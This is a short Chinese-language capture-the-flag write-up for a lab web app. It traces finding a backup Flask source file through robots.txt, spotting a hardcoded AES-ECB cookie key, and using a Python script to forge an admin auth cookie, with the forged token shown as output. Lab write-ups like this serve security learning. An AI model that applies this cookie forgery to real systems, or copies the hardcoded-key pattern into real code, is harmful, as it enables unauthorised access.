一个简单的靶机
Step1
通过指定端口,发现一个用户登录界面,用户名与密码已经告诉我们了,直接登录试一下

Step2
登录成功过后,可以看到上方告诉了我们目前的角色叫做 USER ,那么猜测应该有权限更高的角色的,尝试寻找一下

Step3
进入开发者工具,在应用程序的 Cookie 中可以看到是有登录凭证,观察这个登录凭证可以看到是被加密的,那么如果我有更高权限角色的 Cookie 那我是否就可以直接登录到另一个角色呢?但是不知道密钥和算法,还需要继续收集信息

Step4
尝试在 URL 加上/robots.txt,发现了一份app.py.bak文件。

Step5
这份app.py.bak文件打开过后可以看到是生成 Cookie的代码,密钥和加密方式等都是有记录的。
from flask import Flask, render_template, request, redirect, url_for, make_response
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
import base64
import json
import os
import datetime
app = Flask(__name__)
# ---------------------------------------------------
# CRYPTO CONFIGURATION (VULNERABLE)
# ---------------------------------------------------
# HARDCODED KEY! This is the primary vulnerability.
# AES-ECB is also used, which is weak, but the key leak is the fatal flaw.
SECRET_KEY = b'SafeBox_Secret_K' # 16 bytes
BLOCK_SIZE = 16
def encrypt_data(data):
cipher = AES.new(SECRET_KEY, AES.MODE_ECB)
ct_bytes = cipher.encrypt(pad(data.encode('utf-8'), BLOCK_SIZE))
return base64.b64encode(ct_bytes).decode('utf-8')
def decrypt_data(b64_data):
try:
ct = base64.b64decode(b64_data)
cipher = AES.new(SECRET_KEY, AES.MODE_ECB)
pt = unpad(cipher.decrypt(ct), BLOCK_SIZE)
return pt.decode('utf-8')
except (ValueError, KeyError):
return None
.............................
@app.route('/login', methods=['GET', 'POST'])
def login():
if request.method == 'POST':
username = request.form.get('username')
password = request.form.get('password')
# Simple Login Logic (No database for simplicity in this specific lab, focused on Crypto)
if username == 'guest' and password == 'guest':
user_data = json.dumps({'username': 'guest', 'role': 'user', 'exp': str(datetime.datetime.now())})
token = encrypt_data(user_data)
resp = make_response(redirect(url_for('dashboard')))
resp.set_cookie('auth_token', token)
return resp
else:
return render_template('login.html', error="Invalid credentials. Try guest/guest")
return render_template('login.html')
...........................

Step5
1.通过代码可以分析出只对用户的登录令牌进行了加密,利用给到的密钥和脚本把里面的 Guest 修改成 Admin 就可以实现伪造了一个管理员进行登录
脚本:
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
import base64
import json
import datetime
SECRET_KEY = b'SafeBox_Secret_K'
BLOCK_SIZE = 16
def encrypt_data(data):
cipher = AES.new(SECRET_KEY, AES.MODE_ECB)
ct_bytes = cipher.encrypt(pad(data.encode('utf-8'), BLOCK_SIZE))
return base64.b64encode(ct_bytes).decode('utf-8')
# 构造 Payload
admin_payload = json.dumps({
'username': 'admin',
'role': 'admin',
'exp': str(datetime.datetime.now())
})
print(f"Admin Token: {encrypt_data(admin_payload)}")
输出结果:
Admin Token: lWfFm0XN7GE3GaHQb+neJDfwA2wfT5ZMFo12i+o00BKMCEQAMdrdxwMnxiaPvg9MBSXnOMvKNGbtPN3lmjaCyvn3EL6ZYEwd5Op6AGtnt1c=
Step6
将新生成的 Cookie 放入 Burpsuite 当中的 Inspector

Step7
刷新查看结果,成功拿到 Flag


Comments | NOTHING